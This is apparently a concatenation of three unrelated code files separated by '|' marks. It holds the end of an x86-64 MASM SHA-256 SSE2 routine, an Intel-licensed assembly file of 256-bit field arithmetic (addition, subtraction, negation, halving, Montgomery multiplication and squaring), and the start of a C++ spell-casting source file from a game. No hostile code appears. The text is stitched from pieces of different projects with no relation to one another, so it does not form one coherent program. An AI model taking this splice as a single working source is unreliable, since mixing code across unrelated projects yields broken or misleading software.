ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((7)-7)) MOD (16))*4]
mov ebp, edx
shr ebp, 3
ror edx, 7
add ebx, [rsp+8*4+((1024+15-(7)) MOD (16))*4]
xor ebp, edx
add edi, [rsi+(7)*4]
ror edx, 11
add edi, [rsp+((1024+7-(7)) MOD (8))*4]
xor ebp, edx
add ebp, ebx
mov [rsp+8*4+((1024+15-(7)) MOD (16))*4], ebp
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(7+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(7+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(7+4)) MOD (8))*4]
mov [rsp+((1024+7-(7+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(7)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(8+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(8+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(8+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebp, [rsp+8*4+((1024+15-((8)-2)) MOD (16))*4]
mov edi, [rsp+8*4+((1024+15-((8)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((8)-7)) MOD (16))*4]
mov ebp, edi
shr ebp, 3
ror edi, 7
add ebx, [rsp+8*4+((1024+15-(8)) MOD (16))*4]
xor ebp, edi
add edx, [rsi+(8)*4]
ror edi, 11
add edx, [rsp+((1024+7-(8)) MOD (8))*4]
xor ebp, edi
add ebp, ebx
mov [rsp+8*4+((1024+15-(8)) MOD (16))*4], ebp
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(8+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(8+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(8+4)) MOD (8))*4]
mov [rsp+((1024+7-(8+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(8)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(9+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(9+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(9+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebp, [rsp+8*4+((1024+15-((9)-2)) MOD (16))*4]
mov edx, [rsp+8*4+((1024+15-((9)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((9)-7)) MOD (16))*4]
mov ebp, edx
shr ebp, 3
ror edx, 7
add ebx, [rsp+8*4+((1024+15-(9)) MOD (16))*4]
xor ebp, edx
add edi, [rsi+(9)*4]
ror edx, 11
add edi, [rsp+((1024+7-(9)) MOD (8))*4]
xor ebp, edx
add ebp, ebx
mov [rsp+8*4+((1024+15-(9)) MOD (16))*4], ebp
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(9+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(9+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(9+4)) MOD (8))*4]
mov [rsp+((1024+7-(9+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(9)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(10+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(10+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(10+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebp, [rsp+8*4+((1024+15-((10)-2)) MOD (16))*4]
mov edi, [rsp+8*4+((1024+15-((10)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((10)-7)) MOD (16))*4]
mov ebp, edi
shr ebp, 3
ror edi, 7
add ebx, [rsp+8*4+((1024+15-(10)) MOD (16))*4]
xor ebp, edi
add edx, [rsi+(10)*4]
ror edi, 11
add edx, [rsp+((1024+7-(10)) MOD (8))*4]
xor ebp, edi
add ebp, ebx
mov [rsp+8*4+((1024+15-(10)) MOD (16))*4], ebp
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(10+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(10+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(10+4)) MOD (8))*4]
mov [rsp+((1024+7-(10+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(10)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(11+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(11+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(11+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebp, [rsp+8*4+((1024+15-((11)-2)) MOD (16))*4]
mov edx, [rsp+8*4+((1024+15-((11)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((11)-7)) MOD (16))*4]
mov ebp, edx
shr ebp, 3
ror edx, 7
add ebx, [rsp+8*4+((1024+15-(11)) MOD (16))*4]
xor ebp, edx
add edi, [rsi+(11)*4]
ror edx, 11
add edi, [rsp+((1024+7-(11)) MOD (8))*4]
xor ebp, edx
add ebp, ebx
mov [rsp+8*4+((1024+15-(11)) MOD (16))*4], ebp
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(11+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(11+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(11+4)) MOD (8))*4]
mov [rsp+((1024+7-(11+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(11)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(12+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(12+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(12+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebp, [rsp+8*4+((1024+15-((12)-2)) MOD (16))*4]
mov edi, [rsp+8*4+((1024+15-((12)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((12)-7)) MOD (16))*4]
mov ebp, edi
shr ebp, 3
ror edi, 7
add ebx, [rsp+8*4+((1024+15-(12)) MOD (16))*4]
xor ebp, edi
add edx, [rsi+(12)*4]
ror edi, 11
add edx, [rsp+((1024+7-(12)) MOD (8))*4]
xor ebp, edi
add ebp, ebx
mov [rsp+8*4+((1024+15-(12)) MOD (16))*4], ebp
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(12+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(12+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(12+4)) MOD (8))*4]
mov [rsp+((1024+7-(12+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(12)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(13+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(13+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(13+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebp, [rsp+8*4+((1024+15-((13)-2)) MOD (16))*4]
mov edx, [rsp+8*4+((1024+15-((13)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((13)-7)) MOD (16))*4]
mov ebp, edx
shr ebp, 3
ror edx, 7
add ebx, [rsp+8*4+((1024+15-(13)) MOD (16))*4]
xor ebp, edx
add edi, [rsi+(13)*4]
ror edx, 11
add edi, [rsp+((1024+7-(13)) MOD (8))*4]
xor ebp, edx
add ebp, ebx
mov [rsp+8*4+((1024+15-(13)) MOD (16))*4], ebp
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(13+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(13+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(13+4)) MOD (8))*4]
mov [rsp+((1024+7-(13+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(13)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(14+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(14+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(14+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebp, [rsp+8*4+((1024+15-((14)-2)) MOD (16))*4]
mov edi, [rsp+8*4+((1024+15-((14)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((14)-7)) MOD (16))*4]
mov ebp, edi
shr ebp, 3
ror edi, 7
add ebx, [rsp+8*4+((1024+15-(14)) MOD (16))*4]
xor ebp, edi
add edx, [rsi+(14)*4]
ror edi, 11
add edx, [rsp+((1024+7-(14)) MOD (8))*4]
xor ebp, edi
add ebp, ebx
mov [rsp+8*4+((1024+15-(14)) MOD (16))*4], ebp
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(14+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(14+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(14+4)) MOD (8))*4]
mov [rsp+((1024+7-(14+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(14)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(15+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(15+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(15+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebp, [rsp+8*4+((1024+15-((15)-2)) MOD (16))*4]
mov edx, [rsp+8*4+((1024+15-((15)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((15)-7)) MOD (16))*4]
mov ebp, edx
shr ebp, 3
ror edx, 7
add ebx, [rsp+8*4+((1024+15-(15)) MOD (16))*4]
xor ebp, edx
add edi, [rsi+(15)*4]
ror edx, 11
add edi, [rsp+((1024+7-(15)) MOD (8))*4]
xor ebp, edx
add ebp, ebx
mov [rsp+8*4+((1024+15-(15)) MOD (16))*4], ebp
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(15+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(15+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(15+4)) MOD (8))*4]
mov [rsp+((1024+7-(15+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(15)) MOD (8))*4], ecx
cmp rsi, [rsp+8*4+16*4+0*8]
jne label1
mov rcx, [rsp+8*4+16*4+1*8]
movdqa xmm1, XMMWORD PTR [rcx+1*16]
movdqa xmm0, XMMWORD PTR [rcx+0*16]
paddd xmm1, [rsp+((1024+7-(0+3)) MOD (8))*4]
paddd xmm0, [rsp+((1024+7-(0+7)) MOD (8))*4]
movdqa [rcx+1*16], xmm1
movdqa [rcx+0*16], xmm0
mov rdx, [rsp+8*4+16*4+2*8]
add rdx, 64
mov [rsp+8*4+16*4+2*8], rdx
cmp rdx, [rsp+8*4+16*4+3*8]
jne label0
add rsp, 8*4 + 16*4 + 4*8 + 8
pop rbp
pop rbx
pop rdi
pop rsi
ret
SHA256_HashMultipleBlocks_SSE2 ENDP
ALIGN 8
XGETBV64 PROC
;; First paramter is RCX, and xgetbv expects the CTRL in ECX
;; http://www.agner.org/optimize/vectorclass/read.php?i=65
DB 0fh, 01h, 0d0h
;; xcr = (EDX << 32) | EAX
and rax, 0ffffffffh
shl rdx, 32
or rax, rdx
ret
XGETBV64 ENDP
_TEXT ENDS
END
|
###############################################################################
# Copyright 2018 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.text
.p2align 6, 0x90
.p2align 6, 0x90
.globl _gf256_add
_gf256_add:
push %r12
push %r13
push %r14
xor %r14, %r14
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
movq (24)(%rsi), %r11
addq (%rdx), %r8
adcq (8)(%rdx), %r9
adcq (16)(%rdx), %r10
adcq (24)(%rdx), %r11
adc $(0), %r14
mov %r8, %rax
mov %r9, %rdx
mov %r10, %r12
mov %r11, %r13
subq (%rcx), %rax
sbbq (8)(%rcx), %rdx
sbbq (16)(%rcx), %r12
sbbq (24)(%rcx), %r13
sbb $(0), %r14
cmove %rax, %r8
cmove %rdx, %r9
cmove %r12, %r10
cmove %r13, %r11
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
mov %rdi, %rax
vzeroupper
pop %r14
pop %r13
pop %r12
ret
.p2align 6, 0x90
.globl _gf256_sub
_gf256_sub:
push %r12
push %r13
push %r14
xor %r14, %r14
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
movq (24)(%rsi), %r11
subq (%rdx), %r8
sbbq (8)(%rdx), %r9
sbbq (16)(%rdx), %r10
sbbq (24)(%rdx), %r11
sbb $(0), %r14
mov %r8, %rax
mov %r9, %rdx
mov %r10, %r12
mov %r11, %r13
addq (%rcx), %rax
adcq (8)(%rcx), %rdx
adcq (16)(%rcx), %r12
adcq (24)(%rcx), %r13
test %r14, %r14
cmovne %rax, %r8
cmovne %rdx, %r9
cmovne %r12, %r10
cmovne %r13, %r11
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
mov %rdi, %rax
vzeroupper
pop %r14
pop %r13
pop %r12
ret
.p2align 6, 0x90
.globl _gf256_neg
_gf256_neg:
push %r12
push %r13
push %r14
xor %r14, %r14
xor %r8, %r8
xor %r9, %r9
xor %r10, %r10
xor %r11, %r11
subq (%rsi), %r8
sbbq (8)(%rsi), %r9
sbbq (16)(%rsi), %r10
sbbq (24)(%rsi), %r11
sbb $(0), %r14
mov %r8, %rax
mov %r9, %rcx
mov %r10, %r12
mov %r11, %r13
addq (%rdx), %rax
adcq (8)(%rdx), %rcx
adcq (16)(%rdx), %r12
adcq (24)(%rdx), %r13
test %r14, %r14
cmovne %rax, %r8
cmovne %rcx, %r9
cmovne %r12, %r10
cmovne %r13, %r11
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
mov %rdi, %rax
vzeroupper
pop %r14
pop %r13
pop %r12
ret
.p2align 6, 0x90
.globl _gf256_div2
_gf256_div2:
push %r12
push %r13
push %r14
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
movq (24)(%rsi), %r11
xor %r14, %r14
xor %rsi, %rsi
mov %r8, %rax
mov %r9, %rcx
mov %r10, %r12
mov %r11, %r13
addq (%rdx), %rax
adcq (8)(%rdx), %rcx
adcq (16)(%rdx), %r12
adcq (24)(%rdx), %r13
adc $(0), %r14
test $(1), %r8
cmovne %rax, %r8
cmovne %rcx, %r9
cmovne %r12, %r10
cmovne %r13, %r11
cmovne %r14, %rsi
shrd $(1), %r9, %r8
shrd $(1), %r10, %r9
shrd $(1), %r11, %r10
shrd $(1), %rsi, %r11
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
mov %rdi, %rax
vzeroupper
pop %r14
pop %r13
pop %r12
ret
.p2align 6, 0x90
.globl _gf256_mulm
_gf256_mulm:
push %rbx
push %rbp
push %r12
push %r13
push %r14
push %r15
sub $(24), %rsp
movq %rdi, (%rsp)
mov %rdx, %rbx
mov %rcx, %rdi
movq %r8, (8)(%rsp)
movq (%rbx), %r14
movq (8)(%rsp), %r15
movq (%rsi), %rax
mul %r14
mov %rax, %r8
mov %rdx, %r9
imul %r8, %r15
movq (8)(%rsi), %rax
mul %r14
add %rax, %r9
adc $(0), %rdx
mov %rdx, %r10
movq (16)(%rsi), %rax
mul %r14
add %rax, %r10
adc $(0), %rdx
mov %rdx, %r11
movq (24)(%rsi), %rax
mul %r14
add %rax, %r11
adc $(0), %rdx
mov %rdx, %r12
xor %r13, %r13
movq (%rdi), %rax
mul %r15
add %rax, %r8
adc $(0), %rdx
mov %rdx, %r8
movq (8)(%rdi), %rax
mul %r15
add %r8, %r9
adc $(0), %rdx
add %rax, %r9
adc $(0), %rdx
mov %rdx, %r8
movq (16)(%rdi), %rax
mul %r15
add %r8, %r10
adc $(0), %rdx
add %rax, %r10
adc $(0), %rdx
mov %rdx, %r8
movq (24)(%rdi), %rax
mul %r15
add %r8, %r11
adc $(0), %rdx
add %rax, %r11
adc $(0), %rdx
add %rdx, %r12
adc $(0), %r13
xor %r8, %r8
movq (8)(%rbx), %r14
movq (8)(%rsp), %r15
movq (%rsi), %rax
mul %r14
add %rax, %r9
adc $(0), %rdx
mov %rdx, %rcx
imul %r9, %r15
movq (8)(%rsi), %rax
mul %r14
add %rcx, %r10
adc $(0), %rdx
add %rax, %r10
adc $(0), %rdx
mov %rdx, %rcx
movq (16)(%rsi), %rax
mul %r14
add %rcx, %r11
adc $(0), %rdx
add %rax, %r11
adc $(0), %rdx
mov %rdx, %rcx
movq (24)(%rsi), %rax
mul %r14
add %rcx, %r12
adc $(0), %rdx
add %rax, %r12
adc %rdx, %r13
adc $(0), %r8
movq (%rdi), %rax
mul %r15
add %rax, %r9
adc $(0), %rdx
mov %rdx, %r9
movq (8)(%rdi), %rax
mul %r15
add %r9, %r10
adc $(0), %rdx
add %rax, %r10
adc $(0), %rdx
mov %rdx, %r9
movq (16)(%rdi), %rax
mul %r15
add %r9, %r11
adc $(0), %rdx
add %rax, %r11
adc $(0), %rdx
mov %rdx, %r9
movq (24)(%rdi), %rax
mul %r15
add %r9, %r12
adc $(0), %rdx
add %rax, %r12
adc $(0), %rdx
add %rdx, %r13
adc $(0), %r8
xor %r9, %r9
movq (16)(%rbx), %r14
movq (8)(%rsp), %r15
movq (%rsi), %rax
mul %r14
add %rax, %r10
adc $(0), %rdx
mov %rdx, %rcx
imul %r10, %r15
movq (8)(%rsi), %rax
mul %r14
add %rcx, %r11
adc $(0), %rdx
add %rax, %r11
adc $(0), %rdx
mov %rdx, %rcx
movq (16)(%rsi), %rax
mul %r14
add %rcx, %r12
adc $(0), %rdx
add %rax, %r12
adc $(0), %rdx
mov %rdx, %rcx
movq (24)(%rsi), %rax
mul %r14
add %rcx, %r13
adc $(0), %rdx
add %rax, %r13
adc %rdx, %r8
adc $(0), %r9
movq (%rdi), %rax
mul %r15
add %rax, %r10
adc $(0), %rdx
mov %rdx, %r10
movq (8)(%rdi), %rax
mul %r15
add %r10, %r11
adc $(0), %rdx
add %rax, %r11
adc $(0), %rdx
mov %rdx, %r10
movq (16)(%rdi), %rax
mul %r15
add %r10, %r12
adc $(0), %rdx
add %rax, %r12
adc $(0), %rdx
mov %rdx, %r10
movq (24)(%rdi), %rax
mul %r15
add %r10, %r13
adc $(0), %rdx
add %rax, %r13
adc $(0), %rdx
add %rdx, %r8
adc $(0), %r9
xor %r10, %r10
movq (24)(%rbx), %r14
movq (8)(%rsp), %r15
movq (%rsi), %rax
mul %r14
add %rax, %r11
adc $(0), %rdx
mov %rdx, %rcx
imul %r11, %r15
movq (8)(%rsi), %rax
mul %r14
add %rcx, %r12
adc $(0), %rdx
add %rax, %r12
adc $(0), %rdx
mov %rdx, %rcx
movq (16)(%rsi), %rax
mul %r14
add %rcx, %r13
adc $(0), %rdx
add %rax, %r13
adc $(0), %rdx
mov %rdx, %rcx
movq (24)(%rsi), %rax
mul %r14
add %rcx, %r8
adc $(0), %rdx
add %rax, %r8
adc %rdx, %r9
adc $(0), %r10
movq (%rdi), %rax
mul %r15
add %rax, %r11
adc $(0), %rdx
mov %rdx, %r11
movq (8)(%rdi), %rax
mul %r15
add %r11, %r12
adc $(0), %rdx
add %rax, %r12
adc $(0), %rdx
mov %rdx, %r11
movq (16)(%rdi), %rax
mul %r15
add %r11, %r13
adc $(0), %rdx
add %rax, %r13
adc $(0), %rdx
mov %rdx, %r11
movq (24)(%rdi), %rax
mul %r15
add %r11, %r8
adc $(0), %rdx
add %rax, %r8
adc $(0), %rdx
add %rdx, %r9
adc $(0), %r10
xor %r11, %r11
movq (%rsp), %rsi
mov %r12, %rax
mov %r13, %rbx
mov %r8, %rcx
mov %r9, %rdx
subq (%rdi), %rax
sbbq (8)(%rdi), %rbx
sbbq (16)(%rdi), %rcx
sbbq (24)(%rdi), %rdx
sbb $(0), %r10
cmovnc %rax, %r12
cmovnc %rbx, %r13
cmovnc %rcx, %r8
cmovnc %rdx, %r9
movq %r12, (%rsi)
movq %r13, (8)(%rsi)
movq %r8, (16)(%rsi)
movq %r9, (24)(%rsi)
mov %rsi, %rax
add $(24), %rsp
vzeroupper
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbp
pop %rbx
ret
.p2align 6, 0x90
.globl _gf256_sqrm
_gf256_sqrm:
push %rbx
push %rbp
push %r12
push %r13
push %r14
push %r15
sub $(24), %rsp
movq %rdi, (%rsp)
mov %rdx, %rdi
movq %rcx, (8)(%rsp)
movq (%rsi), %rbx
movq (8)(%rsi), %rax
mul %rbx
mov %rax, %r9
mov %rdx, %r10
movq (16)(%rsi), %rax
mul %rbx
add %rax, %r10
adc $(0), %rdx
mov %rdx, %r11
movq (24)(%rsi), %rax
mul %rbx
add %rax, %r11
adc $(0), %rdx
mov %rdx, %r12
movq (8)(%rsi), %rbx
movq (16)(%rsi), %rax
mul %rbx
add %rax, %r11
adc $(0), %rdx
mov %rdx, %rbp
movq (24)(%rsi), %rax
mul %rbx
add %rax, %r12
adc $(0), %rdx
add %rbp, %r12
adc $(0), %rdx
mov %rdx, %r13
movq (16)(%rsi), %rbx
movq (24)(%rsi), %rax
mul %rbx
add %rax, %r13
adc $(0), %rdx
mov %rdx, %r14
xor %r15, %r15
shld $(1), %r14, %r15
shld $(1), %r13, %r14
shld $(1), %r12, %r13
shld $(1), %r11, %r12
shld $(1), %r10, %r11
shld $(1), %r9, %r10
shl $(1), %r9
movq (%rsi), %rax
mul %rax
mov %rax, %r8
add %rdx, %r9
adc $(0), %r10
movq (8)(%rsi), %rax
mul %rax
add %rax, %r10
adc %rdx, %r11
adc $(0), %r12
movq (16)(%rsi), %rax
mul %rax
add %rax, %r12
adc %rdx, %r13
adc $(0), %r14
movq (24)(%rsi), %rax
mul %rax
add %rax, %r14
adc %rdx, %r15
movq (8)(%rsp), %rcx
imul %r8, %rcx
movq (%rdi), %rax
mul %rcx
add %rax, %r8
adc $(0), %rdx
mov %rdx, %r8
movq (8)(%rdi), %rax
mul %rcx
add %r8, %r9
adc $(0), %rdx
add %rax, %r9
adc $(0), %rdx
mov %rdx, %r8
movq (16)(%rdi), %rax
mul %rcx
add %r8, %r10
adc $(0), %rdx
add %rax, %r10
adc $(0), %rdx
mov %rdx, %r8
movq (24)(%rdi), %rax
mul %rcx
add %r8, %r11
adc $(0), %rdx
add %rax, %r11
adc $(0), %rdx
add %rdx, %r12
adc $(0), %r13
xor %r8, %r8
movq (8)(%rsp), %rcx
imul %r9, %rcx
movq (%rdi), %rax
mul %rcx
add %rax, %r9
adc $(0), %rdx
mov %rdx, %r9
movq (8)(%rdi), %rax
mul %rcx
add %r9, %r10
adc $(0), %rdx
add %rax, %r10
adc $(0), %rdx
mov %rdx, %r9
movq (16)(%rdi), %rax
mul %rcx
add %r9, %r11
adc $(0), %rdx
add %rax, %r11
adc $(0), %rdx
mov %rdx, %r9
movq (24)(%rdi), %rax
mul %rcx
add %r9, %r12
adc $(0), %rdx
add %rax, %r12
adc $(0), %rdx
add %rdx, %r13
adc $(0), %r14
xor %r9, %r9
movq (8)(%rsp), %rcx
imul %r10, %rcx
movq (%rdi), %rax
mul %rcx
add %rax, %r10
adc $(0), %rdx
mov %rdx, %r10
movq (8)(%rdi), %rax
mul %rcx
add %r10, %r11
adc $(0), %rdx
add %rax, %r11
adc $(0), %rdx
mov %rdx, %r10
movq (16)(%rdi), %rax
mul %rcx
add %r10, %r12
adc $(0), %rdx
add %rax, %r12
adc $(0), %rdx
mov %rdx, %r10
movq (24)(%rdi), %rax
mul %rcx
add %r10, %r13
adc $(0), %rdx
add %rax, %r13
adc $(0), %rdx
add %rdx, %r14
adc $(0), %r15
xor %r10, %r10
movq (8)(%rsp), %rcx
imul %r11, %rcx
movq (%rdi), %rax
mul %rcx
add %rax, %r11
adc $(0), %rdx
mov %rdx, %r11
movq (8)(%rdi), %rax
mul %rcx
add %r11, %r12
adc $(0), %rdx
add %rax, %r12
adc $(0), %rdx
mov %rdx, %r11
movq (16)(%rdi), %rax
mul %rcx
add %r11, %r13
adc $(0), %rdx
add %rax, %r13
adc $(0), %rdx
mov %rdx, %r11
movq (24)(%rdi), %rax
mul %rcx
add %r11, %r14
adc $(0), %rdx
add %rax, %r14
adc $(0), %rdx
add %rdx, %r15
adc $(0), %r8
xor %r11, %r11
movq (%rsp), %rsi
mov %r12, %rax
mov %r13, %rbx
mov %r14, %rcx
mov %r15, %rdx
subq (%rdi), %rax
sbbq (8)(%rdi), %rbx
sbbq (16)(%rdi), %rcx
sbbq (24)(%rdi), %rdx
sbb $(0), %r8
cmovnc %rax, %r12
cmovnc %rbx, %r13
cmovnc %rcx, %r14
cmovnc %rdx, %r15
movq %r12, (%rsi)
movq %r13, (8)(%rsi)
movq %r14, (16)(%rsi)
movq %r15, (24)(%rsi)
mov %rsi, %rax
add $(24), %rsp
vzeroupper
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbp
pop %rbx
ret
|
/**
* @file
* @brief Spell casting and miscast functions.
**/
#include "AppHdr.h"
#include "spl-cast.h"
#include <iomanip>
#include <sstream>
#include <cmath>
#include "areas.h"
#include "art-enum.h"
#include "beam.h"
#include "chardump.h"
#include "colour.h"
#include "database.h"
#include "describe.h"
#include "directn.h"
#include "english.h"
#include "env.h"
#include "evoke.h"
#include "exercise.h"
#include "format.h"
#include "god-abil.h"
#include "god-conduct.h"
#include "god-item.h"
#include "god-passive.h" // passive_t::shadow_spells
#include "hints.h"
#include "item-prop.h"
